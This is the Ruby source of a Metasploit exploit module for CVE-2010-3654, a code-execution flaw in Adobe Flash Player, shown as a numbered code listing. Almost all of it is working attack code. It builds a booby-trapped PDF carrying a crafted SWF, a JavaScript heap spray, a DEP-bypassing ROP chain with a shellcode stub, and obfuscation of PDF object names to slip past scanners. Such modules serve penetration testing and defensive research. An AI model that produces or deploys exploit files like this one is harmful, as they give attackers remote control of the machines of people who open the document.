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| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 | ## # $Id: adobe_flashplayer_button.rb 10857 2010-11-01 22:34:13Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' require 'zlib' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::FILEFORMAT def initialize(info = {}) super(update_info(info, 'Name' => 'Adobe Flash Player "Button" Remote Code Execution', 'Description'=> %q{ This module exploits a vulnerability in the handling of certain SWF movies within versions 9.x and 10.0 of Adobe Flash Player. Adobe Reader and Acrobat are also vulnerable, as are any other applications that may embed Flash player. Arbitrary code execution is achieved by embedding a specially crafted Flash movie into a PDF document. An AcroJS heap spray is used in order to ensure that the memory used by the invalid pointer issue is controlled. NOTE: This module uses a similar DEP bypass method to that used within the adobe_libtiff module. This method is unlikely to work across various Windows versions due a the hardcoded syscall number. }, 'License'=> MSF_LICENSE, 'Author' => [ 'Unknown', # Found being openly exploited 'Haifei Li', # PoC 'jduck'# Metasploit version ], 'Version'=> '$Revision: 10857 $', 'References' => [ ['CVE', '2010-3654'], ['OSVDB', '68932'], ['BID', '44504'], ['URL', 'http://www.adobe.com/support/security/advisories/apsa10-05.html'], ['URL', 'http://blog.fortinet.com/fuzz-my-life-flash-player-zero-day-vulnerability-cve-2010-3654/'], #PoC # For SWF->PDF embedding ['URL', 'http://feliam.wordpress.com/2010/02/11/flash-on-a-pdf-with-minipdf-py/'] ], 'DefaultOptions' => { 'EXITFUNC' => 'process', 'InitialAutoRunScript' => 'migrate -f', 'DisablePayloadHandler' => 'true', }, 'Payload'=> { 'Space'=> 1000, 'BadChars' => "\x00", 'DisableNops' => true }, 'Platform' => 'win', 'Targets'=> [ # Tested OK via Adobe Reader 9.4.0 on Windows XP SP3 (uses flash 10.1.85.3) -jjd [ 'Automatic', { }], ], 'DisclosureDate' => 'Oct 28 2010', 'DefaultTarget'=> 0)) register_options( [ OptString.new('FILENAME', [ true, 'The file name.','msf.pdf']), ], self.class) end def exploit swf_data = make_swf() js_data = make_js(payload.encoded) # Create the pdf pdf = make_pdf(swf_data, js_data) print_status("Creating '#{datastore['FILENAME']}' file...") file_create(pdf) end def make_swf # load the static swf file path = File.join( Msf::Config.install_root, "data", "exploits", "CVE-2010-3654.swf" ) fd = File.open( path, "rb" ) swf_data = fd.read(fd.stat.size) fd.close swf_data end def make_js(encoded_payload) # The following executes a ret2lib using BIB.dll # The effect is to bypass DEP and execute the shellcode in an indirect way stack_data = [ 0xc0c0c0c, 0x7002fe1,# mov edx,[esi+0x18] / test edx,edx / je +0x12 / mov eax,[esi+0xc] / mov ecx,[esi+4] / push eax / push ecx / push esi / call edx 0xcccccccc, 0xcccccccc, 0xc0c0c0c + 0x10, 0x7004919,# pop ecx / pop ecx / mov [eax+0xc0],1 / pop esi / pop ebx / ret 0xcccccccc, 0x70048ef,# xchg eax,esp / ret 0x700156f,# mov eax,[ecx+0x34] / push [ecx+0x24] / call [eax+8] 0xcccccccc, 0x7009084,# ret 0x7009084,# ret 0x7009084,# ret 0x7009084,# ret 0x7009084,# ret 0x7009084,# ret 0x7009033,# ret 0x18 0x7009084,# ret 0xc0c0c0c, 0x7009084,# ret 0x7009084,# ret 0x7009084,# ret 0x7009084,# ret 0x7009084,# ret 0x7009084,# ret 0x7009084,# ret 0x7009084,# ret 0x7001599,# pop ebp / ret 0x10124, 0x70072f7,# pop eax / ret 0x10104, 0x70015bb,# pop ecx / ret 0x1000, 0x700154d,# mov [eax], ecx / ret 0x70015bb,# pop ecx / ret 0x7ffe0300, # -- location of KiFastSystemCall 0x7007fb2,# mov eax, [ecx] / ret 0x70015bb,# pop ecx / ret 0x10011, 0x700a8ac,# mov [ecx], eax / xor eax,eax / ret 0x70015bb,# pop ecx / ret 0x10100, 0x700a8ac,# mov [ecx], eax / xor eax,eax / ret 0x70072f7,# pop eax / ret 0x10011, 0x70052e2,# call [eax] / ret -- (KiFastSystemCall - VirtualAlloc?) 0x7005c54,# pop esi / add esp,0x14 / ret 0xffffffff, 0x10100, 0x0, 0x10104, 0x1000, 0x40, # The next bit effectively copies data from the interleaved stack to the memory # pointed to by eax # The data copied is: # \x5a\x90\x54\x90\x5a\xeb\x15\x58\x8b\x1a\x89\x18\x83\xc0\x04\x83 # \xc2\x04\x81\xfb\x0c\x0c\x0c\x0c\x75\xee\xeb\x05\xe8\xe6\xff\xff # \xff\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xff\xff\xff\x90 0x700d731,# mov eax, [ebp-0x24] / ret 0x70015bb,# pop ecx / ret 0x9054905a, 0x700154d,# mov [eax], ecx / ret 0x700a722,# add eax, 4 / ret 0x70015bb,# pop ecx / ret 0x5815eb5a, 0x700154d,# mov [eax], ecx / ret 0x700a722,# add eax, 4 / ret 0x70015bb,# pop ecx / ret 0x18891a8b, 0x700154d,# mov [eax], ecx / ret 0x700a722,# add eax, 4 / ret 0x70015bb,# pop ecx / ret 0x8304c083, 0x700154d,# mov [eax], ecx / ret 0x700a722,# add eax, 4 / ret 0x70015bb,# pop ecx / ret 0xfb8104c2, 0x700154d,# mov [eax], ecx / ret 0x700a722,# add eax, 4 / ret 0x70015bb,# pop ecx / ret 0xc0c0c0c, 0x700154d,# mov [eax], ecx / ret 0x700a722,# add eax, 4 / ret 0x70015bb,# pop ecx / ret 0x5ebee75, 0x700154d,# mov [eax], ecx / ret 0x700a722,# add eax, 4 / ret 0x70015bb,# pop ecx / ret 0xffffe6e8, 0x700154d,# mov [eax], ecx / ret 0x700a722,# add eax, 4 / ret 0x70015bb,# pop ecx / ret 0x909090ff, 0x700154d,# mov [eax], ecx / ret 0x700a722,# add eax, 4 / ret 0x70015bb,# pop ecx / ret 0x90909090, 0x700154d,# mov [eax], ecx / ret 0x700a722,# add eax, 4 / ret 0x70015bb,# pop ecx / ret 0x90909090, 0x700154d,# mov [eax], ecx / ret 0x700a722,# add eax, 4 / ret 0x70015bb,# pop ecx / ret 0x90ffffff, 0x700154d,# mov [eax], ecx / ret 0x700d731,# mov eax, [ebp-0x24] / ret 0x700112f # call eax -- (execute stub to transition to full shellcode) ].pack('V*') var_unescape= rand_text_alpha(rand(100) + 1) var_shellcode = rand_text_alpha(rand(100) + 1) var_start = rand_text_alpha(rand(100) + 1) var_s = 0x10000 var_c = rand_text_alpha(rand(100) + 1) var_b = rand_text_alpha(rand(100) + 1) var_d = rand_text_alpha(rand(100) + 1) var_3 = rand_text_alpha(rand(100) + 1) var_i = rand_text_alpha(rand(100) + 1) var_4 = rand_text_alpha(rand(100) + 1) payload_buf = '' payload_buf << stack_data payload_buf << encoded_payload escaped_payload = Rex::Text.to_unescape(payload_buf) js = %Q| var #{var_unescape} = unescape; var #{var_shellcode} = #{var_unescape}( '#{escaped_payload}' ); var #{var_c} = #{var_unescape}( "%" + "u" + "0" + "c" + "0" + "c" + "%u" + "0" + "c" + "0" + "c" ); while (#{var_c}.length + 20 + 8 < #{var_s}) #{var_c}+=#{var_c}; #{var_b} = #{var_c}.substring(0, (0x0c0c-0x24)/2); #{var_b} += #{var_shellcode}; #{var_b} += #{var_c}; #{var_d} = #{var_b}.substring(0, #{var_s}/2); while(#{var_d}.length < 0x80000) #{var_d} += #{var_d}; #{var_3} = #{var_d}.substring(0, 0x80000 - (0x1020-0x08) / 2); var #{var_4} = new Array(); for (#{var_i}=0;#{var_i}<0x1f0;#{var_i}++) #{var_4}[#{var_i}]=#{var_3}+"s"; | js end def RandomNonASCIIString(count) result = "" count.times do result << (rand(128) + 128).chr end result end def ioDef(id) "%d 0 obj\n" % id end def ioRef(id) "%d 0 R" % id end #http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/ def nObfu(str) result = "" str.scan(/./u) do |c| if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z' result << "#%x" % c.unpack("C*")[0] else result << c end end result end def ASCIIHexWhitespaceEncode(str) result = "" whitespace = "" str.each_byte do |b| result << whitespace << "%02x" % b whitespace = " " * (rand(3) + 1) end result << ">" end def make_pdf(swf, js) swf_name = rand_text_alpha(8 + rand(8)) + ".swf" xref = [] eol = "\n" endobj = "endobj" << eol # Randomize PDF version? pdf = "%PDF-1.5" << eol #pdf << "%" << RandomNonASCIIString(4) << eol # catalog xref << pdf.length pdf << ioDef(1) << nObfu("<</Type/Catalog") pdf << nObfu("/Pages ") << ioRef(3) pdf << nObfu("/OpenAction ") << ioRef(5) pdf << nObfu(">>") pdf << eol << endobj # pages array xref << pdf.length pdf << ioDef(3) << nObfu("<</Type/Pages/Count 1/Kids [") << ioRef(4) << nObfu("]>>") << eol << endobj # page 1 xref << pdf.length pdf << ioDef(4) << nObfu("<</Type/Page/Parent ") << ioRef(3) pdf << nObfu("/Annots [") << ioRef(7) << nObfu("] ") pdf << nObfu(">>") pdf << eol << endobj # js action xref << pdf.length pdf << ioDef(5) << nObfu("<</Type/Action/S/JavaScript/JS ") + ioRef(6) + ">>" << eol << endobj # js stream xref << pdf.length compressed = Zlib::Deflate.deflate(ASCIIHexWhitespaceEncode(js)) pdf << ioDef(6) << nObfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol pdf << "stream" << eol pdf << compressed << eol pdf << "endstream" << eol pdf << endobj # swf annotation object xref << pdf.length pdf << ioDef(7) << nObfu("<</Type/Annot/Subtype/RichMedia") pdf << nObfu("/Rect [20 20 187 69] ") pdf << nObfu("/RichMediaSettings ") << ioRef(8) pdf << nObfu("/RichMediaContent ") << ioRef(9) pdf << nObfu("/NM (") << swf_name << nObfu(")") pdf << nObfu(">>") pdf << eol << endobj # rich media settings xref << pdf.length pdf << ioDef(8) pdf << nObfu("<</Type/RichMediaSettings/Subtype/Flash") pdf << nObfu("/Activation ") << ioRef(10) pdf << nObfu("/Deactivation ") << ioRef(11) pdf << nObfu(">>") pdf << eol << endobj # rich media content xref << pdf.length pdf << ioDef(9) pdf << nObfu("<</Type/RichMediaContent") pdf << nObfu("/Assets ") << ioRef(12) pdf << nObfu("/Configurations [") << ioRef(14) << "]" pdf << nObfu(">>") pdf << eol << endobj # rich media activation / deactivation xref << pdf.length pdf << ioDef(10) pdf << nObfu("<</Type/RichMediaActivation/Condition/PO>>") pdf << eol << endobj xref << pdf.length pdf << ioDef(11) pdf << nObfu("<</Type/RichMediaDeactivation/Condition/XD>>") pdf << eol << endobj # rich media assets xref << pdf.length pdf << ioDef(12) pdf << nObfu("<</Names [(#{swf_name}) ") << ioRef(13) << nObfu("]>>") pdf << eol << endobj # swf embeded file ref xref << pdf.length pdf << ioDef(13) pdf << nObfu("<</Type/Filespec /EF <</F ") << ioRef(16) << nObfu(">> /F(#{swf_name})>>") pdf << eol << endobj # rich media configuration xref << pdf.length pdf << ioDef(14) pdf << nObfu("<</Type/RichMediaConfiguration/Subtype/Flash") pdf << nObfu("/Instances [") << ioRef(15) << nObfu("]>>") pdf << eol << endobj # rich media isntance xref << pdf.length pdf << ioDef(15) pdf << nObfu("<</Type/RichMediaInstance/Subtype/Flash") pdf << nObfu("/Asset ") << ioRef(13) pdf << nObfu(">>") pdf << eol << endobj # swf stream # NOTE: This data is already compressed, no need to compress it again... xref << pdf.length pdf << ioDef(16) << nObfu("<</Type/EmbeddedFile/Length %s>>" % swf.length) << eol pdf << "stream" << eol pdf << swf << eol pdf << "endstream" << eol pdf << endobj # trailing stuff xrefPosition = pdf.length pdf << "xref" << eol pdf << "0 %d" % (xref.length + 1) << eol pdf << "0000000000 65535 f" << eol xref.each do |index| pdf << "%010d 00000 n" % index << eol end pdf << "trailer" << eol pdf << nObfu("<</Size %d/Root " % (xref.length + 1)) << ioRef(1) << ">>" << eol pdf << "startxref" << eol pdf << xrefPosition.to_s() << eol pdf << "%%EOF" << eol pdf end end |
体验盒子
